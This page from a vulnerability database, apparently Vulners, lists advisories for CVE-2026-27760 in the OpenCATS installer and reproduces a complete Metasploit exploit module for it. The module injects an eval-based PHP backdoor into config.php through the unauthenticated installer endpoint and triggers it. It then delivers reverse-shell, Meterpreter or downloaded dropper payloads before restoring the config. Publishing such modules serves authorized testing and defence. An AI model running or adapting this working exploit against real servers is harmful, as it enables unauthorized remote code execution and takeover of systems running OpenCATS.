📄 OpenCATS Installer PHP Code Injection
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-27760 | 28 Apr 202613:43 | – | attackerkb | |
| CVE-2026-27760 | 28 Apr 202616:34 | – | circl | |
| OpenCats 代码注入漏洞 | 28 Apr 202600:00 | – | cnnvd | |
| CVE-2026-27760 | 28 Apr 202613:43 | – | cve | |
| CVE-2026-27760 OpenCATS PHP Code Injection via installer AJAX endpoint | 28 Apr 202613:43 | – | cvelist | |
| EUVD-2026-26052 | 28 Apr 202613:43 | – | euvd | |
| OpenCATS - Command Injection | 1 Aug 202610:03 | – | nuclei | |
| CVE-2026-27760 | 28 Apr 202615:16 | – | nvd | |
| PT-2026-35727 | 28 Apr 202600:00 | – | ptsecurity | |
| CVE-2026-27760 | 12 May 202602:27 | – | redhatcve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenCATS Installer PHP Code Injection',
'Description' => %q{
This module exploits an unauthenticated PHP code injection in the OpenCATS
installer AJAX endpoint (CVE-2026-27760).
The databaseConnectivity action passes the user POST parameter directly to
changeConfigSetting(), which interpolates it into a define() statement in
config.php without any sanitization. This only works when the installation
wizard was never completed, meaning the INSTALL_BLOCK file is absent.
The exploit injects an eval() backdoor into config.php, probes until the
injected code is live (handles OPcache revalidation transparently), triggers
the payload via index.php, and then restores config.php.
},
'Author' => [
'Chocapikk', # Vulnerability discovery
'stlthr4k3r' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-27760'],
['URL', 'https://chocapikk.com/posts/2026/opencats-installer-rce/'],
['URL', 'https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6']
],
'Targets' => [
[
'PHP In-Memory', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Windows Command', {
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/windows/reverse_powershell
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'CmdStagerFlavor' => %w[printf bourne],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
],
[
'Windows Dropper', {
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'CmdStagerFlavor' => %w[psh_invokewebrequest certutil],
'Type' => :dropper
# tested with windows/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-04-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to OpenCATS', '/']),
OptString.new('DB_USER', [true, 'DATABASE_USER value to restore in config.php after exploitation', 'cats'])
])
end
def check
res = installer_request
return CheckCode::Unknown('No response from target.') unless res
return CheckCode::Safe('Installer is locked (INSTALL_BLOCK present).') if res.body.include?('installLocked')
if res.body.include?('setActiveStep')
return CheckCode::Appears('Installer AJAX endpoint is accessible and unprotected.')
end
CheckCode::Unknown('Unexpected response from installer endpoint.')
end
def exploit
@param = Rex::Text.rand_text_alpha_lower(8)
inject_payload(@param)
trigger_payload(@param)
ensure
restore_config
end
def execute_command(cmd, _opts = {})
trigger_php(php_exec_cmd(cmd), @param)
end
def installer_request(user: nil)
opts = {
'method' => user ? 'POST' : 'GET',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'vars_get' => { 'f' => 'install:ui', 'a' => 'databaseConnectivity' }
}
opts['vars_post'] = { 'user' => user } if user
send_request_cgi(opts)
end
def inject_payload(param)
fake_user = Faker::Internet.username(specifier: 5..8)
injection = "#{fake_user}');if(function_exists('opcache_reset')){opcache_reset();}eval(base64_decode(\$_POST['#{param}']));//"
res = installer_request(user: injection)
fail_with(Failure::UnexpectedReply, 'No response to injection request.') unless res
print_good('PHP eval backdoor injected into config.php')
wait_for_injection(param)
end
def wait_for_injection(param)
nonce = Rex::Text.rand_text_alpha_lower(12)
probe = Rex::Text.encode_base64("die('#{nonce}');")
10.times do
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_post' => { param => probe }
)
return if res&.body&.start_with?(nonce)
sleep(1)
end
fail_with(Failure::UnexpectedReply, 'Injected code did not execute after 10 seconds.')
end
def trigger_payload(param)
case target['Type']
when :php
trigger_php(payload.encoded, param)
when :cmd
trigger_php(php_exec_cmd(payload.encoded), param)
when :dropper
execute_cmdstager
end
end
def trigger_php(code, param)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_post' => { param => Rex::Text.encode_base64(code) }
)
end
def restore_config
user = datastore['DB_USER']
print_status("Restoring config.php with user '#{user}'...")
installer_request(user: user)
print_good('config.php restored.')
rescue StandardError
print_warning('Could not restore config.php - manual cleanup may be required.')
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.18.1
CVSS 49.2
EPSS0.34629
SSVC